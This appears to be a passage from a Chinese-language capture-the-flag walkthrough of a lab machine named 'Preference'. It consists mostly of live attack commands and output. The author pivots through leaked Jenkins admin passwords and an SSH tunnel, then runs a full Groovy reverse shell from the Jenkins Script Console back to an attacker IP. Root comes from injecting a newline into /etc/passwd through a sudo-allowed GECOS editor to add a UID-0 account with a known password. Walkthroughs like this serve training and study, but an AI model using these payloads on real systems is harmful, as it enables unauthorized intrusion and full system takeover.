[sudo] password for gaoyan8764:
Sorry, user gaoyan8764 may not run sudo on Preference.

没有 sudo。

看系统用户:

gaoyan8764@Preference:/home$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
klogd:x:100:101:klogd:/dev/null:/sbin/nologin
apache:x:104:106:apache:/var/www:/sbin/nologin
gaoyan8764:x:1000:1000::/home/gaoyan8764:/bin/bash
jenkins:x:1001:1001::/var/lib/jenkins:/bin/bash

这里有一个很显眼的本地用户:

jenkins

再看进程:

gaoyan8764@Preference:/tmp$ ps -ef
PID   USER     TIME  COMMAND
1 root      0:00 /sbin/init
2400 root      0:00 /sbin/udhcpc -b -R -p /var/run/udhcpc.eth0.pid -i eth0 -x hostname:Preference
2485 root      0:00 /sbin/syslogd -t -n
2512 root      0:00 /sbin/acpid -f
2538 root      0:00 /usr/sbin/crond -c /etc/crontabs -f
2564 root      3:48 /usr/bin/python3 /opt/gateway/app.py
2590 jenkins   0:10 /usr/bin/java -Djava.awt.headless=true -jar /var/lib/jenkins/jenkins.war --httpPort=8080 --httpListenAddress=127.0.0.1 --webroot=/var/lib/jenkins/.jenkins/war
2616 ntp       0:00 /usr/sbin/ntpd -N -p pool.ntp.org -n

这里可以明确确认:

Jenkins 正在运行
端口绑定在 127.0.0.1:8080

也就是说,外部 nmap 扫不到 8080,但在本机内部是能访问到的。


Jenkins 横向

前面在敏感信息泄露里已经拿到了 3 组 Jenkins 管理员密码:

Jenkins6530#Admin
Jenkins7920#Admin
Jenkins8038#Admin

而本地又明确存在 jenkins 用户和 Jenkins 进程,所以这条线必须继续跟。

先做本地转发,把靶机上的 127.0.0.1:8080 转到 Kali 本地:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh -L 8088:127.0.0.1:8080 gaoyan8764@192.168.205.217

保持这个 SSH 会话不要关,再在 Kali 新开一个终端确认 Jenkins 可访问:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl -si http://127.0.0.1:8088/login | head
HTTP/1.1 200 OK
Date: Tue, 10 Jun 2026 00:11:59 GMT
X-Content-Type-Options: nosniff
X-Hudson: 1.395
X-Jenkins: 2.535
X-Jenkins-Session: 34fd41f5
X-Frame-Options: sameorigin
Content-Type: text/html;charset=UTF-8

说明本地转发成功。

然后浏览器访问:

http://127.0.0.1:8088

尝试登录,最终有效凭据是:

用户名: jenkins
密码: Jenkins6530#Admin

成功进入 Jenkins 后,来到:

Manage Jenkins -> Script Console

这个功能非常关键,因为它允许管理员直接执行 Groovy 代码。


Jenkins Script Console 拿 shell

先验证一下能不能执行命令:

println(["bash","-c","id"].execute().text)

返回:

uid=1001(jenkins) gid=1001(jenkins) groups=1001(jenkins),82(www-data)

说明已经可以以 jenkins 用户执行系统命令。

接下来直接反弹一个 shell 到 Kali。

Kali 先监听:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888

然后在 Script Console 里执行:

String host="192.168.205.128";int port=8888;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exception e){}};p.destroy();s.close();

监听端收到连接后,确认身份:

Preference:/$ id
uid=1001(jenkins) gid=1001(jenkins) groups=82(www-data),1001(jenkins)

现在就完成了:

gaoyan8764 -> Jenkins 管理员 -> jenkins 用户 shell

Jenkins 用户提权

先看 jenkins 的 sudo:

Preference:/$ sudo -l
Matching Defaults entries for jenkins on Preference:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for jenkins:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User jenkins may run the following commands on Preference:
    (ALL) NOPASSWD: /usr/local/bin/edit_passwd

这里直接给出了提权入口:

jenkins 可以无密码 sudo 执行 /usr/local/bin/edit_passwd

先看当前 /etc/passwd 里 jenkins 的记录:

Preference:/$ grep jenkins /etc/passwd
jenkins:x:1001:1001::/var/lib/jenkins:/bin/bash

测试一下这个脚本到底做什么:

Preference:/$ sudo /usr/local/bin/edit_passwd jenkins "aaa"
Editing GECOS field for user: jenkins (UID: 1001)
Successfully updated GECOS field for user: jenkins

再看 passwd:

Preference:/$ grep jenkins /etc/passwd
jenkins:x:1001:1001:aaa:/var/lib/jenkins:/bin/bash

说明:

这个脚本会修改指定用户在 /etc/passwd 中的 GECOS 字段

也就是第 5 字段。

接下来测试它是否过滤特殊字符。先试冒号:

Preference:/$ sudo /usr/local/bin/edit_passwd jenkins "x:0:0:pwn:/root:/bin/sh"
Editing GECOS field for user: jenkins (UID: 1001)
Successfully updated GECOS field for user: jenkins

结果:

Preference:/$ grep jenkins /etc/passwd
jenkins:x:1001:1001:x:0:0:pwn:/root:/bin/sh:/var/lib/jenkins:/bin/bash

说明输入内容被原样写进了 /etc/passwd,没有做任何过滤。

那就可以继续尝试更危险的换行注入。


/etc/passwd 换行注入

一开始可以试最简单的换行插入一个 UID 0 账号,但空密码账号不一定总能稳定 su 成功,受 PAM 配置影响比较大。所以更稳的做法是:

直接插入一个带已知密码哈希的 UID 0 root 用户

这里构造的新用户信息:

用户名: b
密码哈希: $1$AydoDDh4$tEky6m30.0nY3HZ8FgoGI0
UID: 0
GID: 0
HOME: /root
SHELL: /bin/bash

执行注入:

Preference:/$ sudo /usr/local/bin/edit_passwd jenkins $':/var/lib/jenkins:/bin/bash\nb:$1$AydoDDh4$tEky6m30.0nY3HZ8FgoGI0:0:0::/root:/bin/bash\n#'
Editing GECOS field for user: jenkins (UID: 1001)
Successfully updated GECOS field for user: jenkins

这里传进去的是一个多行字符串,效果是:

  1. 先把原 jenkins 行进行恢复,防止等会彻底死掉
  2. 中间插入一整行新的 root 用户 b
  3. 再将原本的 jenkins 后半部分进行注释

注入之后看 /etc/passwd:

Preference:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
klogd:x:100:101:klogd:/dev/null:/sbin/nologin
apache:x:104:106:apache:/var/www:/sbin/nologin
gaoyan8764:x:1000:1000::/home/gaoyan8764:/bin/bash
jenkins:x:1001:1001::/var/lib/jenkins:/bin/bash
b:$1$AydoDDh4$tEky6m30.0nY3HZ8FgoGI0:0:0::/root:/bin/bash
#:/var/lib/jenkins:/bin/bash

可以看到,账号 b 已经被成功插进去,而且是:

UID 0
GID 0
shell /bin/bash

这就已经足够了。


切换 root

直接切换用户:

Preference:/$ su b
Password:abcdefg

输入与该哈希对应的密码后,成功拿到 root:

Preference:/# id
uid=0(root) gid=0(root) groups=0(root)

读取 flag

最后读取 user 和 root flag:

Preference:/# cat /root/root.txt /home/gaoyan8764/user.txt
flag{root-f528c6318cb57c8f56f8b9ebf9a10b56}
flag{user-6380a935b0dc8e88865aba0c0524b9b5}